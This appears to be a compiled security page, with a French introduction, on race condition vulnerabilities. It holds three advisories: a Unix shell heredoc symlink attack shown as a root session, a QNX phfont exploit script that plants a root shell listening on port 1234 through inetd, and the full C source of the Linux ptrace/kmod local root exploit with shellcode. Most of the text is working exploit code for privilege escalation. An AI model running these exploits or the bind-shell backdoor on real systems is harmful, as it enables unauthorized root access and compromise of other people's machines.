Une condition de concurrence peut etre exploitee afin d'obtenir des droits plus eleves. C'est une duree de temps pendant laquelle une condition est supposee vraie alors qu'elle peut etre changee. La fenetre de vulnerabilite est en generale tres courte, et de telles attaques sont assez difficiles a implementer. Les fonctions access(), chown(), chgrp(), chmod(), mktemp(), tempnam(), tmpfile(), and tmpnam() sont susceptibles de creer de telles situations. Les liens symboliques sont aussi des sources de tels problemes.
Published: Jan 02 2000 12:00AM
Unix Shell Redirection Race Condition Vulnerability
bash, tcsh, cash, ksh and sh are all variations of the Unix shell distributed with
many Unix and Unix clone operating systems. A vulnerability exists in these shells
that could allow an attacker to arbitrarily write to files.
A vulnerability has been discovered in a number of Unix shells which may allow a local
attacker to corrupt files or potentially elevate privileges.
Scripts and command line operations using << as a redirection operator create
files in the /tmp directory with a predictable naming convention. Additionally, files
are created in the /tmp directory without first checking if the file already exists.
This could result in a symbolic link attack that could be used to corrupt any file that
the owner of the redirecting shell has access to write to. This issue affects those
systems running vulnerable versions of bash, tcsh, cash, ksh and sh.
/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# chown -h 666.666 sh$$
/tmp# ls -l rootfile sh$$
-rw------- 1 root root 12 Oct 29 03:55 rootfile
lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 -> rootfile
/tmp# cat <<BAR
? FOO
? BAR
FOO
o world
/tmp# ls -l rootfile sh$$
/bin/ls: sh12660: No such file or directory
-rw------- 1 root root 12 Oct 29 03:56 rootfile
/tmp# cat rootfile
FOO
o world
/tmp#
QNX Neutrino RTOS phfont Race Condition Vulnerability
iDefense Security Advisory 02.07.06
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
February 7, 2006
I. BACKGROUND
QNX Software Systems Ltd.'s Neutrino RTOS (QNX) is a real-time operating
system designed for use in embedded systems. More information is
available at:
http://www.qnx.com/products/rtos/
II. DESCRIPTION
Local exploitation of a race condition vulnerability in QNX Neutrino
RTOS's (QNX) phfont command allows attackers to gain root privileges.
QNX Neutrino RTOS is a real-time operating system designed for use in
embedded systems. The problem specifically exists because phfont spawns
another command, phfontphf, without proper sanity checking. A local
attacker can create a malicious replacement for this command and cause
it to be executed in place of the original by manipulating the PHFONT
and PHOTON2_PATH environment variables. phfont is installed set user id
root by default.
#!/bin/sh
# word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
# greetings and salutations from www.lort.dk
# kokanin@dtors 18/10/2003
# $ cksum /usr/photon/bin/phfont
# 4123428723 30896 /usr/photon/bin/phfont
# $ uname -a
# QNX localhost 6.2.1 2003/01/08-14:50:46est x86pc x86
cat > phfontphf.c << __EOF__
int main(){
setuid(0);
system("echo 1234 stream tcp nowait root /bin/sh sh -i>/tmp/dsr && /usr/sbin/inetd /tmp/dsr");
}
__EOF__
make phfontphf >/dev/null
ln -s /usr/photon/bin/phfont ./phfont
export PHFONT=hello
export PHOTON2_PATH=mom
./phfont
rm phfont*
Ptrace Exploit Code Released 23 Mar. 2003
Summary
This exploit code exploits a race condition in kernel/kmod.c, which creates kernel thread in insecure
manner. This bug allows to ptrace cloned process, allowing to take control over privileged modprobe binary.
Credit:
The information has been provided by Wojciech Purczynski and Stephen Benjamin.
Details
Exploit:
/*
* Linux kernel ptrace/kmod local root exploit
*
*
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}